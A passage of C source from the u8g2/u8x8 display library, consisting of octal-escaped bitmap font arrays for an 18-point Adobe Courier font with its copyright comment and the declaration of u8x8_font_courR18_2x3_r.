"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\361\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\0\0\0\0" "\0\0\0\0\0\0\0\0\200\200@|@\200\300\0\0\0\0\0\0\0\0\16\61 @\300@ !\0" "\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\300 \20\20\20 \0" "\0\0\0\0\0\0\4\4\207|\4\4\4\0\0\200\0\0\0\0\0\0\2\3\2\2\2\2\2\2\2\1" "\0\0\0\0\0\0@\200\0\200\200\200\200\0\200@\0\0\0\0\0\0\200^!@@@@!^\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\60\320\20\0\0\0\20\320\60" "\20\0\0\0\0\0\0HHKL\370LKHH\0\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0" "\0\0\0\0\0\0\0\0\0\0\0\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\343\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\37\0\0\0\0\0\0\0\0\0\0\0\200\360\210\4\4\4\4\4<" "\0\0\0\0\0\0\3\4\10\20!!B\304H\60\0\0\0\0\0\0\17\10\10\10\10\10\4\3\0\0" "\0\0\0\0\0\0\0\0\60\60\0\0\0\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300 \20\220\220\20\220 " "\300\0\0\0\0\37`\200\216\21 !\23\200\200`\37\0\0\0\0\0\0\0\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0 \220PPP\340\0\0\0\0\0\0\0\0\0\0\23\24\24\24\22\27\24\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\200" "\200\0\0\0\0\20\70l\306\203\21\70l\306\203\1\0\0\0\0\0\0\0\0\0\1\3\2\0\0\1\3" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\2\2\2\2\2\2" "\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\4\4\4\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300 \220\220\220\220\20 \300\0\0\0\0\37`\200\200\77\4\4\14\63\200\200" "`\37\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0 \0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0p\210\4\4\4\210p\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\0\0\0\0" "\0\0\0\0\0\0\2\2\2\2\2\177\2\2\2\2\2\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\20\10\4\204D\70\0\0\0\0\0\0\0\0\0\0\4\6\5\4\4\6\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\4DDd\230\0\0" "\0\0\0\0\0\0\0\0\2\4\4\4\4\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0 \60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\200\200\200" "\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377\0\0\0\0\0\0\0\177\1\2\2\2\2\1\0\3" "\2\0\0\0\0\0\360\370\10\4\4\374\4\4\374\4\4\0\0\0\0\0\1\3\2\4\4\377\0\0\377\0" "\0\0\0\0\0\0\0\0\10\10\10\17\0\0\17\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20 &\30\0\0\0\0\0\0\0\0\0\0\0\10\10\4\374\0\0\0\0" "\0\0\0\0\0\0\0\0\4\4\4\7\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300 \20\20\20 \300\0\0\0\0\0\0\0\0\0\21\22\24\24\24\22\21\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\200\200\0\0\0\0" "\0\0\0\0\0\0\1\203\306l\70\21\203\306l\70\20\0\0\0\0\2\3\1\0\0\2\3\1\0\0\0" "\0\0\0\0\10\10\4\374\0\0\0\0\0\0\300 \20\0\0\0\4\4\4\207D\64\14\304\242\231\204\202" "\376\200\0\0\0\0\0\0\0\0\0\0\0\0\0\2\3\2\0\0\10\10\4\374\0\0\0\0\0\0\300 " "\20\0\0\0\4\4\4\207D\64\14\4\12\5\202B\42\34\0\0\0\0\0\0\0\0\0\0\2\3\2\2" "\2\3\0\0\10\4DDd\230\0\0\0\0\300 \20\0\0\0\2\4\4\204D\63\10\304\242\231\204\202" "\376\200\0\0\0\0\0\0\0\0\0\0\0\0\0\2\3\2\0\0\0\0\0\0\0\0\200\200\0\0\0\0" "\0\0\0\0\0\0\0\200@ !\31\0\0\0\0\0\0\0\0\0\0\0\7\10\20\20\20\20\20\14\0" "\0\0\0\0\0\0\0\20\20\321\63\26\64\300\0\0\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p" "\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2\3\2\0\0\0\0\0\20\20\320\64\26\63\301\0\0" "\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\0\0\0\24\26\323\61\21\63\306\4\0\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p" "\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2\3\2\0\0\0\0\0\26\23\321\63\26\64\306\3\0" "\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\0\0\0\20\23\323\60\20\60\303\3\0\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p" "\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2\3\2\0\0\0\0\0\20\20\327\70\30\70\307\0\0" "\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\0\0\0\0\20\320\60\20\360\20\20\20\20\20\360\0\0\0\200p\36\21\20\20\377\4\4\4" "\37\0\340\0\2\2\3\2\0\0\2\2\3\2\2\2\2\2\3\0\0\0\0\300` \20\20\20\20 `" "\360\0\0\0\0\0\77\300\200\0\0\0\0\0\0\200\300\0\0\0\0\0\0\0\1\21\42&\32\2\1\1" "\0\0\0\0\0\20\20\360\20\21\23\26\24\20\20\360\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0" "\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2\3\0\0\0\0\20\20\360\20\20\24\26\23\21\20\360" "\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2" "\3\0\0\0\0\20\20\364\26\23\21\21\23\26\24\360\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0" "\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2\3\0\0\0\0\20\20\360\23\23\20\20\23\23\20\360" "\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2" "\3\0\0\0\0\0\0\20\20\21\23\366\24\20\20\20\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2\0\0\0\0\0\0\0\20\20\20\24\366\23\21\20\20" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0\24\26\23\21\361\23\26\24\20\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2\0\0\0\0\0\0\0\20\23\23\20\360\20\23\23\20" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\20\360\20\20\20\20\20\20\20 `\200\0\0\0\4\4\377\4\4\4\0\0\0\0\0\200" "\177\0\0\0\0\2\3\2\2\2\2\2\2\2\1\1\0\0\0\0\20\20\360\66C\201\3\6\24\26\23\360" "\20\20\0\0\0\0\377\0\0\1\6\30`\200\0\377\0\0\0\0\2\2\3\2\2\2\0\0\0\0\3\3" "\0\0\0\0\0\0\300` \21\23\26\24\20 `\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200" "\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0\300` \20\20\24\26\23!`" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\300`$\26\23\21\21\23&d\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200" "\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0\300`&\23\21\23\26\24&c" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\300`#\23\20\20\20\23#`\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200" "\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0 @\200\0\0\0\0\0\200@" " \0\0\0\0\0\200@ \21\12\4\12\21 @\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300` \20\20\20\20\220``\220\10\0\0\0\77\300\300 \20\10\4\3\0\200\300" "\77\0\0\0\2\1\0\1\1\2\2\2\2\1\1\0\0\0\0\0\0\20\360\20\20\21\3\6\24\20\20\360" "\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0" "\0\0\0\0\0\20\360\20\20\20\4\6\23\21\20\360\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0\0\0\0\0\0\20\360\24\26\23\1\1\23\26\24\360" "\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0" "\0\0\0\0\0\20\360\20\23\23\0\0\23\23\20\360\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0\0\0\0\0\0\20\20\60\320\0\4\6\3\1\320\60" "\20\20\0\0\0\0\0\0\0\3\4\370\4\3\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0" "\0\0\0\0\0\0\20\20\360\220\220\200\200\200\200\0\0\0\0\0\0\0\0\0\377@@@@@@!" "\36\0\0\0\0\0\2\2\3\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\360\10\4\4\4\10\360\0" "\0\0\0\0\0\0\0\0\377\0\0\202\2\3\4\14\360\0\0\0\0\0\2\2\3\2\0\1\2\2\2\1" "\0\0\0\0\0\0\0\0\4\214\230\260\240\0\0\0\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0" "\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2\2\0\0\0\0\0\0\0\0\200\240\260\230\14\4\0" "\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2" "\2\0\0\0\0\0\0 \60\230\214\214\230\60 \0\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0" "\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2\2\0\0\0\0\0\0\60\30\210\230\260\240\60\30\0" "\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2" "\2\0\0\0\0\0\0\0\30\230\200\200\200\30\30\0\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0" "\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2\2\0\0\0\0\0\0\0\0\234\242\242\242\34\0\0" "\0\0\0\0\0\0\300!\21\20\20\20\20\21\376\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\3\2" "\2\0\0\0\0\0\0\200\200\200\0\0\0\200\200\200\0\0\0\0\300#\21\20\20\20\21\376\21\20\20\20" "\21\23\234\0\1\2\2\2\2\2\1\0\1\2\2\2\2\1\0\0\0\0\0\0\0\200\200\200\200\200\0\200" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\207\200\0\0\0\0\0\0\1\1\22\42&\32\2\1\1" "\0\0\0\0\0\0\0\0\4\214\230\260\240\200\0\0\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23" "\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\200\240\260\230\214\4\0" "\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1" "\1\0\0\0\0\0\0 \60\230\214\214\230\260 \0\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23" "\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1\1\0\0\0\0\0\0\0\30\230\200\200\200\230\30\0" "\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1" "\1\0\0\0\0\0\0\0\204\214\230\260 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\200\200\240\260\30\14\4\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0 \260\230\214\214\30\60 \0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\230\230\200\200\0\30\30\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\10\4$$\224\234\210\230\244\304\200\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203" "~\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\200\200\260\30\10\230\260\240\260\30\0" "\0\0\0\0\0\0\0\377\2\1\0\0\0\0\1\376\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3" "\2\2\0\0\0\0\0\0\0\204\214\230\260\240\0\0\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203" "|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\0\200\240\260\230\214\4\0" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\0 \60\230\214\214\230\260 \0\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203" "|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\60\230\210\230\260\240\60\30" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\0\0\30\230\200\200\200\230\30\0\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203" "|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0" "\0\0\0\0\0\0\4\4\4\4ddd\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200@\0\0\0\0\0|\203A \20\10\4\2\1\202" "|\0\0\0\0\2\1\0\1\2\2\2\2\2\1\1\0\0\0\0\0\200\200\200\4\14\30\60 \200\200\200" "\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3" "\2\0\0\0\0\200\200\200\0\0 \60\30\214\204\200\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377" "\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3\2\0\0\0\0\200\200\240\60\30\14\14\30\260\240\200" "\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3" "\2\0\0\0\0\200\200\200\30\30\0\0\30\230\200\200\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377" "\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3\2\0\0\0\0\200\200\200\200\0 \60\30\214\204\200" "\200\0\0\0\0\0\3\34`\200\0\0\300\60\14\3\0\0\0\0\0@@@@qNC\0\0\0\0" "\0\0\0\0\0\4\4\374\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\203\1\0\0\0\0\0\1" "\203|\0\0\0@@\177AAB\2\2\2\2\1\1\0\0\0\0\200\200\200\230\30\0\0\30\230\200\200" "\200\0\0\0\0\0\3\34`\200\0\0\300\60\14\3\0\0\0\0\0@@@@qNC\0\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 95/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR18_2x3_r[4564] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_r") = " ~\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\0<\374<\0\0<\374<\0\0\0\0\0\0\0\0\0\1\0\0\0\0\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\0\0\374\0\0" "\0\0\0\0\0\0\20\21\21\377\21\21\377\21\21\1\0\0\0\0\0\0\0\0\0\7\0\0\7\0\0\0" "\0\0\0\0\0\0\0\0\300 \20\36\20\20 p\0\0\0\0\0\0\0\300\201\2\4\4\4\4\210p" "\0\0\0\0\0\0\0\1\0\1\1\37\1\1\0\0\0\0\0\0\0\0p\210\4\4\4\210p\0\0\0" "\0\0\0\0\0\10\10\10\5\5\345\22\12\12\11\21\341\0\0\0\0\0\0\0\0\0\0\1\2\2\2\1" "\0\0\0\0\0\0\0\0\300 `@ \0\0\0\0\0\0\0\0\360\10\5\6\30 \340\230\10\0" "\0\0\0\0\0\0\0\1\2\2\2\1\0\1\2\2\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\30\4\0\0\0\0\0\0\0\0\0\0\0\0\177\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\14\20\0\0\0\0\0\0\0\0\4\30\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\177\0\0\0\0\0\0\0\0\0\0\0\0\20\14\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0 `@\300\374\300@` \0\0\0\0\0\0\0\4\6\3\1\0\1\3\6\4" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\0\0\0\0" "\0\0\0\0\0\0\4\4\4\4\4\377\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\4\4\4\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\60\14" "\0\0\0\0\0\0\0\0\0\300\60\14\3\0\0\0\0\0\0\0\0\0\0\14\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\60\20\10\10\10\20\60\300\0\0\0\0\0\0\0\177\200\0\0\0\0\0\200\177" "\0\0\0\0\0\0\0\0\1\1\2\2\2\1\1\0\0\0\0\0\0\0\0\20\20\20\10\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0`\20\20\10\10\10\10\20\340\0\0\0\0\0\0\0\0\200@ \20\10\4\2\1\0" "\0\0\0\0\0\0\3\2\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\20\10\10\10\10\10\20\360\0" "\0\0\0\0\0\0\200\0\0\2\2\2\2\5\4\370\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1\0" "\0\0\0\0\0\0\0\0\0\200`\20\10\370\0\0\0\0\0\0\0\0\60,# \377 " "\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\0\0\0\0\0\0\0\370\10\10\10\10\10\10\10\0" "\0\0\0\0\0\0\0\3\2\1\1\1\1\2\206x\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0" "\0\0\0\0\0\0\0\200`\60\20\10\10\10\10\0\0\0\0\0\0\0\0\177\204\2\1\1\1\1\2\374" "\0\0\0\0\0\0\0\0\1\1\2\2\2\2\1\0\0\0\0\0\0\0\70\10\10\10\10\10\10\350\30\0" "\0\0\0\0\0\0\0\0\0\0\200p\17\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0" "\0\0\0\0\0\0\0\340\20\10\10\10\10\20\340\0\0\0\0\0\0\0p\211\6\4\4\4\4\6\211p" "\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1\0\0\0\0\0\0\0\0\340\60\20\10\10\10\20\60\340" "\0\0\0\0\0\0\0\1\6\4\10\10\10\4\302\77\0\0\0\0\0\0\0\2\2\2\2\2\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0" 